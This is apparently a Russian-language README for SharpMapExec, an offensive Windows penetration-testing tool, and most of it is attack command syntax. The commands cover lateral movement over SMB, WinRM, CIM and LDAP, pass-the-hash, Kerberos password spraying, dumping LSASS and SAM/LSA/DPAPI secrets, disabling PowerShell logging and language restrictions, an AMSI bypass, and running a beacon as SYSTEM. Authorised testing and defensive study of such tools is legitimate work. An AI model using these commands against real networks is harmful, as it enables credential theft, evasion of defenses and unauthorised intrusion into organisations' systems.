
Швейцарский нож для тестирования на проникновение нативно для Windows: боковое перемещение, доступ к учетным данным, эксфильтрация данных, сканирование уязвимостей через протоколы CIM, SMB, WinRM, LDAP и Domain с аутентификацией Kerberos/NTLM.
Улучшенная версия CrackMapExec. Этот инструмент создан для упрощения тестирования сетей на проникновение и представляет собой швейцарский нож, предназначенный для работы в Windows, что часто требуется при симуляции атак инсайдеров.
Помимо сканирования доступа, он может использоваться для выявления уязвимых конфигураций и извлечения данных. Идея модулей извлечения данных заключается в выполнении минимально необходимого кода на удалённом компьютере. Для этого инструмент загружает все секреты в директорию loot и обрабатывает их локально.
Вы можете указать, хотите ли вы использовать аутентификацию Kerberos или NTLM. Если выбран Kerberos, инструмент создаёт жертвенный токен и использует Rubeus для импорта/запроса билета. Если указан NTLM, инструмент использует SharpKatz SetThreadToken или олицетворение LogonUser.
SharpMapExec.exe
usage:
--- Cim ---
Need plaintext password or the /impersonate flag
SharpMapExec.exe ntlm cim /user:USER /password:PASSWORD /computername:TARGET
Available Cim modules
/m:enable_winrm (Запускает Enable-PSRemoting -Force)
/m:disable_winrm (Запускает Disable-PSRemoting -Force)
/m:disable_pslockdown (Изменяет реестр __PSLockdownPolicy для отключения CLM)
/m:disable_pslogging (Изменяет реестр для отключения журналирования PowerShell)
/m:check_pslockdown (Проверяет реестр __PSLockdownPolicy)
/m:check_pslogging (Проверяет реестр журналирования PowerShell)
--- Reg32 ---
SharpMapExec.exe ntlm reg32 /user:USER /ntlm:HASH /computername:TARGET
SharpMapExec.exe kerberos reg32 </user:USER /password:PASSWORD /domain:DOMAIN /dc:DC | /ticket:TICKET.Kirbi> /computername:TARGET
Reg32 modules
/m:disable_pslockdown (Изменяет реестр __PSLockdownPolicy для отключения CLM)
/m:check_pslockdown (Проверяет реестр __PSLockdownPolicy)
/m:check_pslogging (Проверяет реестр журналирования PowerShell)
--- Smb ---
SharpMapExec.exe ntlm smb /user:USER /ntlm:HASH /domain:DOMAIN /computername:TARGET
SharpMapExec.exe kerberos smb </user:USER /password:PASSWORD /domain:DOMAIN /dc:DC | /ticket:TICKET.Kirbi> /computername:TARGET
Smb modules
/m:shares (Сканирование доступных общих папок Smb)
--- WinRm ---
SharpMapExec.exe ntlm winrm /user:USER /password:PASSWORD /domain:DOMAIN /computername:TARGET
SharpMapExec.exe kerberos winrm </user:USER /rc4:HASH /domain:DOMAIN /dc:DC | /ticket:TICKET.Kirbi> /computername:TARGET
WinRm modules
/m:exec /a:whoami (Invoke-Command)
/m:exec /a:C:\beacon.exe /system (Invoke-Command as System)
/m:comsvcs (Извлечение и обработка lsass)
/m:secrets (Извлечение и обработка дампов Sam, Lsa и System Dpapi)
/m:assembly /p:Rubeus.exe /a:dump (Выполнение локальной C# сборки в памяти)
/m:assembly /p:beacon.exe /system (Выполнение локальной C# сборки как System в памяти)
/m:assembly /p:getMailBox.exe /delegwalk (Выполнение локальной C# сборки во всех уникальных процессах делегирования в памяти)
/m:download /path:C:\file /destination:file (Скачать файл с хоста)
/m:upload /path:C:\file /destination:file (Загрузить файл на хост)
--- Domain ---
SharpMapExec.exe kerbspray /users:USERS.TXT /passwords:PASSWORDS.TXT /domain:DOMAIN /dc:DC
SharpMapExec.exe tgtdeleg
--- Ldap ---
SharpMapExec.exe ntlm domain /user:USER /password:PASSWORD /domain:DOMAIN /dc:DC /m:MODULE
SharpMapExec.exe kerberos ldap </user:USER /password:PASSWORD /domain:DOMAIN /dc:DC /m:MODULE | /ticket:TICKET.Kirbi>
Ldap modules
/m:spraydata (Скачать политику пользователей и паролей)
Может использоваться для сканирования на наличие административного доступа, доступных общих папок Smb, версии Smb и ретрансляции подписи.
/m:shares (Сканирует перечисленные общие ресурсы на доступ)
Зверь. Встроенный обход Amsi, обход ограничений языка JEA, анализ функций JEA. Может использоваться для выполнения кода, сканирования на PsRemote доступ, уязвимых конечных точек JEA и извлечения данных.
/m:exec /a:whoami (Invoke-Command)
/m:exec /a:C:\beacon.exe /system (Invoke-Command as System)
/m:comsvcs (Дамп процесса Lsass)
/m:secrets (Извлечение и обработка дампов Sam, Lsa и System Dpapi)
/m:assembly /p:Rubeus.exe /a:dump (Выполнение локальной C# сборки в памяти)
/m:assembly /p:beacon.exe /system (Выполнение локальной C# сборки как System в памяти)
/m:download /path:C:\file /destination:file (Скачать файл с хоста)
В настоящее время поддерживает перебор паролей домена и создание TGT для текущего пользователя, который можно использовать с параметром /ticket для получения текущего контекста.
Скачать необходимые данные перед перебором паролей
/m:spraydata (Скачать политику пользователей и паролей)
Для простого или массового выполнения C# сборок в памяти

Перебор паролей Kerberos с последующим сканированием на локальный административный доступ

Этот проект поддерживает сканирование конечных точек JEA и будет анализировать исходный код нестандартных команд, а также проверять, не настроена ли конечная точка в режим no-language.

Обнаружение повторного использования паролей локальных администраторов с помощью NT-хэша.

Массовый дамп процесса Lsass с использованием встроенной DLL, подписанной Microsoft, с сохранением в папку loot

Выполняется во всех процессах делегирования, отсортированных по уникальным пользователям

Сканирование подписи SMB и SMBv1

И многое другое!
Некоторые сценарии с Kerberos потребуют синхронизации часов с контроллером домена и настройки DNS
net time \\DC01.hackit.local /set
Get-NetAdapter ethernet0* | Set-DnsClientServerAddress -ServerAddresses @('192.168.1.10')
Проекты, которые помогли или присутствуют в этом инструменте